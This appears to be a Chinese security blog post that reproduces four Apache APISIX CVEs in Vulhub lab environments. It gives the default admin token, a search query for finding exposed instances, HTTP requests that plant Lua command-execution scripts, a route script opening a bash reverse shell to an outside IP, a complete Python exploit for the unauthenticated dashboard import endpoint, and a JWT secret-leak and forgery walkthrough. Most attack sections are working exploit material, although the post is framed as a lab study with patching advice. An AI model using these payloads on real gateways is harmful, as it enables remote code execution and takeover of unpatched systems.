Apache Apisix网关系统历史漏洞复现分析
文章目录
- 前言
- CVE-2020-13945默认api令牌
- CVE-2021-45232未授权接口
-
- 2.1 默认账户密码导致RCE
- 2.2 未授权访问api接口RCE
- CVE-2022-24112 地址限制绕过
- CVE-2022-29266 JWT令牌伪造
-
- 4.1 漏洞源码简析与修复
- 4.2 漏洞环境搭建与复现
- 总结
前言
Apache APISIX 是一个动态、实时、高性能的 API 网关， 提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。
- 开源项目地址：https://github.com/apache/apisix；
- 官方文档地址：https://apisix.apache.org/zh/docs/apisix/getting-started/README/；
你可以把 Apache APISIX 当做流量入口，来处理所有的业务数据，包括动态路由、动态上游、动态证书、金丝雀发布（灰度发布）、限流限速、抵御恶意攻击、监控报警、服务可观测性、服务治理等。
Fofa 搜索语法：
title="Apache APISIX"
渗透测试基本信息：
| APISIX 系统 | 默认端口 | 默认凭据或口令 |
|---|---|---|
| Apache APISIX | 9080 | edd1c9f034335f136f87ad84b625c8f1 |
| Apache APISIX Dashboard | 9000 | admin/admin |
官方推荐的快速安装 APISIX：
curl -sL https://run.api7.ai/apisix/quickstart | sh
# 验证安装是否成功
curl "http://127.0.0.1:9080" --head | grep Server
【创建路由】
通过下面的命令，你将创建一个路由，把请求 http://127.0.0.1:9080/ip 转发至 httpbin.org/ip：
root@ubuntu:~/Desktop$ curl -i "http://127.0.0.1:9180/apisix/admin/routes" -X PUT -d '
{
"id": "getting-started-ip",
"uri": "/ip",
"upstream": {
"type": "roundrobin",
"nodes": {
"httpbin.org:80": 1
}
}
}'
HTTP/1.1 201 Created
Date: Sun, 18 Feb 2024 01:45:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/3.8.0
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Access-Control-Expose-Headers: *
Access-Control-Max-Age: 3600
X-API-VERSION: v3
{"key":"/apisix/routes/getting-started-ip","value":{"upstream":{"scheme":"http","nodes":{"httpbin.org:80":1},"type":"roundrobin","pass_host":"pass","hash_on":"vars"},"id":"getting-started-ip","priority":0,"update_time":1708220748,"uri":"/ip","status":1,"create_time":1708220748}}
root@ubuntu:~/Desktop$
root@ubuntu:~/Desktop$ curl "http://127.0.0.1:9080/ip"
{
"origin": "XXX.XXX.XXX.21"
}
root@ubuntu:~/Desktop$
【部署 APISIX Dashboard】
Apache APISIX Dashboard 是基于浏览器的可视化平台，用于监控、管理 Apache APISIX。官方项目地址：https://github.com/apache/apisix-dashboard。
docker pull apache/apisix-dashboard
docker run -d --name dashboard \
-p 9000:9000 \
-v <CONFIG_FILE>:/usr/local/apisix-dashboard/conf/conf.yaml \
apache/apisix-dashboard
此处安装失败，原因不详，从 docker 日志看是由于错误无法连接 2379 的 etcd 服务。
CVE-2020-13945默认api令牌
Apache APISIX 是一个高性能 API 网关。在用户未指定管理员 Token 或使用了默认配置文件的情况下，Apache APISIX 将使用默认的管理员 Token：edd1c9f034335f136f87ad84b625c8f1，攻击者利用这个 Token 可以访问到管理员接口，进而通过 script 参数来插入任意 LUA 脚本并执行。
该默认令牌配置文件位于：https://github.com/apache/apisix/blob/master/conf/config.yaml， 这是一个默认配置导致的安全问题，实际上从官方文档也可以看出官方并不会修复该 CVE 漏洞，而是给出了安全提醒：
【环境搭建】
基于 Vulhub 快速搭建靶场环境（https://vulhub.org/#/environments/apisix/CVE-2020-13945/）：
环境启动后，访问 http://your-ip:9080 即可查看到默认的 404 页面。
【漏洞复现】
利用默认 Token 增加一个恶意的 router（ 该 API 接口详细参数请参见官方文档：Admin API | Apache APISIX），其中包含恶意 LUA 脚本：
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406
{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}
然后，我们访问刚才添加的 router，就可以通过 cmd 参数执行任意命令：http://your-ip:9080/attack?cmd=id
【其他管理接口】
Admin API （https://apisix.apache.org/zh/docs/apisix/admin-api）是一组用于配置 Apache APISIX 路由、上游、服务、SSL 证书等功能的 RESTful API。你可以通过 Admin API 来获取、创建、更新以及删除资源。同时得益于 APISIX 的热加载能力，资源配置完成后 APISIX 将会自动更新配置，无需重启服务。
以“获取资源列表”的接口 /apisix/admin/consumers 为例：
CVE-2021-45232未授权接口
Apache APISIX Dashboard 是基于浏览器的可视化平台，用于监控、管理 Apache APISIX。Apache APISIX Dashboard 2.10.1 版本前存在两个 API：/apisix/admin/migrate/export 和 /apisix/admin/migrate/import，它们没有经过 droplet 框架的权限验证，导致未授权的攻击者可以导出、导入当前网关的所有配置项，包括路由、服务、脚本等。攻击者通过导入恶意路由，可以用来让 Apache APISIX 访问任意网站，甚至执行 LUA 脚本。
继续使用 Vulhub 一键搭建靶场环境：
然后访问 http://your-ip:9000/ 即可看到 Apache APISIX Dashboard 的登录页面：
2.1 默认账户密码导致RCE
官方默认登录账户密码 admin/admin（Vulhub 镜像的密码为 vulhub）:
其实实战中如果没有敏感接口的未授权访问漏洞的话，是可以通过弱密码登录后台进行 RCE 的，接下来先看看进入后台后如何完成 RCE。
1、 先创建任意名称的上游服务，请注意目标节点信息后面触发 RCE 会用到：
2、 接着创建路由，把选择上游服务选择为上面的创造的上游：
3、访问上述创建的路由，通过“查看”修改配置，添加反弹 Shell 的 Lua Script：
提交修改请求（API 接口参数释义请参见：https://apisix.apache.org/zh/docs/apisix/admin-api/#route），数据包如下：
PUT /apisix/admin/routes/501155186035655361 HTTP/1.1
Host: XXX.XXX.XXX.16:9000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: application/json
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://XXX.XXX.XXX.16:9000/routes/list
Content-Type: application/json;charset=UTF-8
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MDgyNDMyNjIsImlhdCI6MTcwODIzOTY2Miwic3ViIjoiYWRtaW4ifQ.BkV5VDZkMubP56Uutpn0CXQwx2oJUumjH7HgpvlpBdo
Content-Length: 227
Origin: http://XXX.XXX.XXX.16:9000
Connection: close
{"uri":"/*","name":"rce","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('/bin/bash -i >& /dev/tcp/XXX.XXX.XXX.50/6666 0>&1')","upstream_id":"501154557745693377","status":1}
4、接着访问：http://127.0.0.1:9080/rce，即可触发命令执行实现 RCE：
【More】创建路由时并非强制选择上游服务，故上述创建上游服务的步骤也可以直接忽略，直接创建路由并指定一个有效的目标节点（主机名+有效业务端口）接口，比如：
2.2 未授权访问api接口RCE
此漏洞的鉴权缺陷源码分析可参见：https://xz.aliyun.com/t/10732。
那如果没有默认密码或者弱密码的话，这时我们就利用未授权接口进行 RCE 了。这里我们需要知道这两个接口一个是用来导出配置文件，一个是用来导入配置文件的。
我们可以使用 /apisix/admin/migrate/export 直接导出配置文件，删除 Authorization 字段后发现是可以正常未授权访问的：
接下来利用另一个接口导入恶意配置即可实现 RCE，但是从上面导出的配置数据可以看到，后面多出四个字节，这 4 个字节其实是配置文件的 checksum 值，在导入配置文件时，也会对配置文件的 checksum 值进行校验，那这里需要阅读 APISIX 源码并编写脚本算出 checksum 校验值。
简单起见，直接利用 Github 现成的 POC 验证程序即可：https://github.com/wuppp/cve-2021-45232-exp/blob/main/apisix_dashboard_rce.py
#!/usr/bin/env python3
import zlib
import json
import random
import requests
import string
import sys
from urllib3.exceptions import InsecureRequestWarning
# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
eval_config = {
"Counsumers": [],
"Routes": [
{
"id": str(random.randint(100000000000000000, 1000000000000000000)),
"create_time": 1640674554,
"update_time": 1640677637,
"uris": [
"/rce"
],
"name": "rce",
"methods": [
"GET",
"POST",
"PUT",
"DELETE",
"PATCH",
"HEAD",
"OPTIONS",
"CONNECT",
"TRACE"
],
"script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
"status": 1
}
],
"Services": [],
"SSLs": [],
"Upstreams": [],
"Scripts": [],
"GlobalPlugins": [],
"PluginConfigs": []
}
def random_str():
return ''.join(random.choices(string.ascii_letters + string.digits, k=6))
def calc_crc(data):
crc32 = zlib.crc32(data) & 0xffffffff
return crc32.to_bytes(4, byteorder="big")
def export_data(url):
r = requests.get(url + "/apisix/admin/migrate/export", verify=False)
return r.text[:-4]
def import_data(url, data):
data = json.dumps(data).encode()
crc32 = calc_crc(data)
files = {"file": ("data", data + crc32, "text/data")}
resp = requests.post(url + "/apisix/admin/migrate/import", files=files, verify=False)
# print(resp.text)
if resp.json().get("code", -1) == 0:
return True
else:
return False
if __name__ == "__main__":
if len(sys.argv) != 2:
print("python " + sys.argv[0] + " http://127.0.0.1:9000")
exit()
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
uri = random_str()
eval_config["Routes"][0]["uris"] = [ "/" + uri]
eval_config["Routes"][0]["name"] = uri
if import_data(url, eval_config):
print("attack success")
print("uri is: " + "/" + uri)
else:
print("attack error")
脚本攻击效果演示如下（注意执行命令时应更换为 9080 端口）：
回到 Dashboard 管理台即可发现上述脚本创建了一个恶意路由：
CVE-2022-24112 地址限制绕过
官方发布的漏洞信息：https://apisix.apache.org/zh/blog/2022/02/11/cve-2022-24112/。
此漏洞相对比较鸡肋，主要是用于绕过 IP 地址访问限制，漏洞利用条件是目标系统使用了默认的 Admin Key（即 CVE-2020-13945 中的 X-API-KEY），此处暂不复现。
参考文章：
- CVE-2022-24112 Apache APISIX 远程代码执行漏洞;
- CVE-2022-24112：Apache APISIX 命令执行漏洞 - 华盟学院;
- https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py；
CVE-2022-29266 JWT令牌伪造
在 Apache APISIX < 2.13.1 版本之前的 Apache APISIX 中，由于 APISIX 中的 jwt-auth 插件依赖于 lua-resty-jwt 库，而在 lua-resty-jwt 库返回的错误信息中可能会包含 JWT 的 sceret 值，因此对于开启了 jwt-auth 插件的 APISIX 存在 JWT sceret 的泄露，攻击者可以通过向受 jwt-auth 插件保护的路由发送不正确的 JSON Web 令牌并通过错误消息响应获取插件配置的 JWT Secret，进而伪造有效的 JWT 会话凭证来非法访问 API 接口。
漏洞分析参考文章：《APISIX CVE-2022-29266 漏洞分析与复现 |TeamsSix》、《CVE-2022-29266 Apache Apisix jwt-auth插件 密钥泄漏》。
4.1 漏洞源码简析与修复
通过 Apache 官方提交的修复记录 https://github.com/apache/apisix/pull/6846/commits/bf296bbdad52055d9362958e9262c861a4b723ed 可以看到此漏洞的问题点：
修改代码将 401 返回的附加信息 jwt_obj.reason 删除，变更为本地日志打印。可以在 lua-resty-jwt 库（https://github.com/SkyLothar/lua-resty-jwt）中找到 lib/resty/jwt.lua 文件，在 jwt.lua 文件的 782 行中，可以看到有个 jwt_obj.reason 中包含了 secret，这里代码的意思是说，如果程序执行正常就返回 secret 的值，否则就返回具体的异常信息。
此处借用 TeamsSix 的分析总结，漏洞利用的前提有以下三个：
- APISIX 需要开启 jwt-auth 插件；
- jwt-auth 插件算法需要是 HS256 或者 HS512；
- secret 的值中不能包含 CERTIFICATE 和 PUBLIC KEY 字符串；
如果满足了这三个前提，当我们利用 RS256 或者 RS512 的 JWT 值发送给 APISIX 的时候，我们就会得到 jwt-auth 中的 secret，从而实现 JWT 伪造了。
4.2 漏洞环境搭建与复现
漏洞复现沿用上文 CVE-2021-45232 的 Vulhub 靶场环境即可，APISIX 版本为 2.9，符合漏洞条件。
此漏洞涉及 JWT 令牌的相关知识，不熟悉 JWT 基础安全知识的话请参见《Web安全-JWT认证机制安全性浅析》，关于 JWT 密钥泄露的类似 CVE 漏洞也可参见《Nacos系统历史CVE漏洞的复现分析与检测》中的“QVD-2023-6271默认密钥”章节。
一键搭建完 Vulhub 的漏洞环境后，进入 dashboard 创建消费者，启用 jwt-auth 认证机制：
Consumer（也称之为消费者）是指使用 API 的应用或开发人员。在 APISIX 中，消费者需要一个全局唯一的 名称，并从上面的列表中选择一个身份验证 插件。
将 { "key": "tr0e", "secret": "passwd123456789" } 填写到编辑器里，值的话可以随便写，算法的默认配置是 HS256 。
创建完消费者 tr0e 以后，开始创建路由：
同样需要启用 jwt-auth 插件：
提交并完成路由配置：
【验证 JWT 插件】
从官方指导文档：https://apisix.apache.org/zh/docs/apisix/plugins/jwt-auth/ 可了解到，启用了 jwt-auth 插件后，会增加 /apisix/plugin/jwt/sign 这个接口。在命令行输入以下命令，参数 key 的值就是刚刚在创建 consumer 时配置的 key 值，通过访问这个 api 即可获取到 JWT 认证凭据：
携带获得的 JWT 凭据发起对应配置的 /tr0e666 路由的请求，未返回 401 即代表鉴权成功：
将此接口返回的 JWT 凭证作下解码可以看到 Payload 信息，其中 exp 是 JWT 的有效时间限制：
【漏洞复现】
JSON Web Tokens 网站 https://jwt.io/#debugger-io 可以帮助我们快速构建 JWT 凭据。
需要一个 RS256 算法的 JWT 值，这里为了方便直接在 jwt.io 中生成，只需要将算法改为 RS256，Payload 改为以下内容即可，注意 Payload 中的 key 值需要和下面创建 consumer 对象时的 key 一致。
{"key": "tr0e"}
然后将上面拿到的 JWT 凭据发起访问受保护的路由的请求：
root@ubuntu:~/vulhub/apisix/CVE-2021-45232#
root@ubuntu:~/vulhub/apisix/CVE-2021-45232# curl http://127.0.0.1:9080/tr0e666 -H 'Authorization:eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJrZXkiOiJ0cjBlIn0.tyNfKjLKYV860j-OQZGS0RkJFpKDsc-zEtbIklYlKrNYgkaqJmEISXNBT5jI_c6_rKl-1KLPT7cWe0X7LOdeyOR0C4F_q6Mrjznd0cxbEl5arIe-ViGOjOklcXUFMh9K-1x3DL2R60Em9MmpTOQvcbz9-Weh2h4dRHdYSej7bvHaGVXUK_8fJFXSgrn2alTnlndsRPdN9fZnkKz7rRKCCEO7skM0q7Wnho2sCWttCrTpZc6wNejj41oU3GKHmVF4bcE-WYKcf4PkTDa72ZE6-3x5xtK2s18hKzByhEb_Nwp44V6IMqKOj4dhuYlAQjvKaM5nqY6aZXr3xPi187fLDg' -i
HTTP/1.1 401 Unauthorized
Date: Sun, 18 Feb 2024 12:39:29 GMT
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Server: APISIX/2.9
{"message":"Decode secret is not a valid cert\/public key: passwd123456789"}
root@ubuntu:~/vulhub/apisix/CVE-2021-45232#
此时拿到 JWT 的 Secret（即 passwd123456789）后，即可自行颁发有效的 JWT：
拿着自生成的 JWT 凭证成功访问受保护的路由：
总结
Apache APISIX 作为一个动态、实时、高性能的云原生 API 网关，提供了负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。本文总计、复现可 Apache APISIX 网关系统的几个历史 CVE 漏洞。
Apache APISIX 被广泛应用于各大企业的云服务业务，因而也成为各类攻防演练的关注对象。作为运维人员或开发人员，应当及时更新 APISIX 的版本，避免系统因未及时覆盖安全补丁导致系统被入侵。